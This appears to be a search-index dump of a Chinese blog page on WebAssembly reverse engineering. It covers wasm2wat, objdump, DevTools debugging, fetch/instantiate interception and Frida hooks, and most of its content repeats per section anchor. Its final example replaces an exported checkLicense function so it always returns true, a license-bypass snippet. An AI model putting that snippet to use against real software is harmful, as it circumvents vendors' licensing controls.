Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#工具链"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#分析步骤"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#2-动态调试"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#chrome-devtools"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#wasmerwasmtime-调试"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#内存检查"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#3-hook-技术"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#hook-导出函数"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#hook-导入函数"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#frida-hook"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:6:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#实战示例"},{"categories":null,"collections":null,"content":"示例 1: 反编译加密函数 假设某网站使用 Wasm 实现加密算法： // 1. 拦截并保存 Wasm 模块 let wasmModule; const originalInstantiate = WebAssembly.instantiate; WebAssembly.instantiate = async function (bytes, imports) { wasmModule = bytes; console.log(\"Captured Wasm module, size:\", bytes.byteLength); // 保存到 IndexedDB 以便后续分析 const blob = new Blob([bytes], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Download URL:\", url); return originalInstantiate.call(this, bytes, imports); }; // 2. 使用 wasm2wat 转换 // $ wasm2wat crypto.wasm -o crypto.wat // 3. 分析 WAT 代码找到加密逻辑 // (func $encrypt (param $0 i32) (param $1 i32) (result i32) // local.get $0 // local.get $1 // i32.xor // i32.const 0x5A5A5A5A // i32.add // ) // 4. 在 JavaScript 中重新实现 function decryptedEncrypt(data, key) { return (data ^ key) + 0x5a5a5a5a; } ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:6:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#示例-1-反编译加密函数"},{"categories":null,"collections":null,"content":"示例 2: 修改 Wasm 行为 // 修改 Wasm 函数的返回值 const instance = await WebAssembly.instantiate(module); // 保存原始函数 const originalCheckLicense = instance.exports.checkLicense; // 替换函数让其总是返回 true instance.exports.checkLicense = function () { console.log(\"License check bypassed\"); return 1; // 返回 true }; 